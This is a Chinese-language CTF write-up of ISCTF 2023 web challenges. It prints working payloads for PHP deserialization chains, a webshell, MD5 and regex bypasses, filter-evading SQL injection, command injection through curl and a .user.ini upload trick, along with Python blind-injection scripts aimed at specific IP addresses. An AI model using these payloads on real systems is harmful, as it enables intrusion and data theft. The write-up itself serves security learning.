web
圣杯战争
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
知识点:
__wakeup()
方法当使用
unserialize()
反序列化一个对象成功后,会自动调用该对象的__wakup()
魔术方法。
__invoke()方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__get()方法
获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的
__toString()方法
它是在直接输出对象引用时自动调用的方法
当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据
代码审计
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow; //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;//将 $this->release 属性赋值给了 $function
echo "蓄力!咖喱棒!!<br>";
return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo
用php伪协议构造
payload
?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
解密即可得到flag
where_is_the_flag
题目
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);
//标准一句话木马~
eval($_POST[1]);
?>
提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,
在这里看见
那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值
将三个flag拼接一下即可得到完整的flag
绕进你的心里
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>
通过数组绕过
?zhurong[]=1&hongmeng[]=2&shennong[]=3
网上找的通用回溯poc如下,需要对应不同题目改脚本:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
那我们改一下脚本,执行就得到了flag
payload
import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)
easy_website
打开题目
尝试用admin/admin登录
发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格
1' oorrder%09by%091#
爆数据库名
username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)
爆表名
1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))
爆字段名
1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))
发现不能全部显示出来
知识点:
substring方法
是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符
具体用法见博客:
substring()方法-CSDN博客
爆表名payload,需要改变后substring两个的参数来拼接
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin
经过尝试发现flag在password字段里
payload:
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))
得到flag
wafr
题目
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{ assert($_POST['code']);
}
用post传参
payload:
code=system("strings /f*")
ez_ini
选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag
然后上传能直接有flag
web_include
用dirsearch扫描一下看看是不是源码泄露
发现了flag.php,index.bak
访问index.bak下载打开,得到
function string_to_int_array(str){
const intArr = [];for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);const partA = Math.floor(charcode / 26);
const partB = charcode % 26;intArr.push(partA);
intArr.push(partB);
}return intArr;
}function int_array_to_text(int_array){
let txt = '';for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}return txt;
}
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}
有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本
#include<stdio.h>
#include<string.h>
int main()
{
char b[100]="dxdydxdudxdtdxeadxekdxea";
for(int j=0;j<2;j++){
int tmp1=0,tmp2=0,sum=0,f=0;
//printf("%d\n",strlen(b));
for(int i=0;i<strlen(b);i++){
int tmp=(int)(b[i]-97);
f++;
if(i%2==0){
tmp1=tmp*26;
//printf("%d ",tmp1);
}
if(i%2!=0){
tmp2=tmp;
//printf("%d ",tmp2);
}
if(f==2){
printf("%c",tmp1+tmp2);
//printf("%d\n",sum);
sum++;
tmp1=0;
tmp2=0;
f=0;
}
}
//printf("%d",sum);
}
return 0;
}
用伪协议构造payload即可
payload
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
fuzz
题目
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){ $file = $_GET['file'];
}
system('curl '.$file);
[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令
payload:
?file=|tac /fl[a-z]ggggggg.txt
?file=f{i}l{e}:///fla{g}gggggg.txt
1z_Ssql
用脚本跑一下
import requests i = 0 url = "http://43.249.195.138:20786/" result = "" for k in range (0,10): for j in range (1,100): l = 32 r = 128 mid = (l+r)>>1 while (l < r): #爆库名 payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid) #爆表名 #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k) #爆字段 #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k) #payload = "1'^(ascii(substr((select flag1 from limit {2},1),{0},1)>{1}))#".format(j,mid,k) response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"}) if "You are so smart!" in response.text: l = mid + 1 # print(payload) #print(response.text) i +=1 else : r = mid mid = (l + r)>>1 if (chr(mid) == " "): result = result + '\n' break result = result + chr(mid) #print(result) print(i) print(result)
爆了bthcls的库
再看看当时给的附件
由于name1里面有users,name2里面有username和password。
猜想name1为表名,name2为字段名来爆破:
将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。
import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
for j in range (1,100):
l = 32
r = 128
mid = (l+r)>>1
while (l < r):
payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})if "You are so smart!" in response.text:
l = mid + 1
# print(payload)
#print(response.text)
i +=1
else :
r = mid
mid = (l + r)>>1
if (chr(mid) == " "):
result = result + '\n'
break
result = result + chr(mid)
#print(result)
print(i)
print(result)
直接admin/we1come7o1sctf登录
获得flag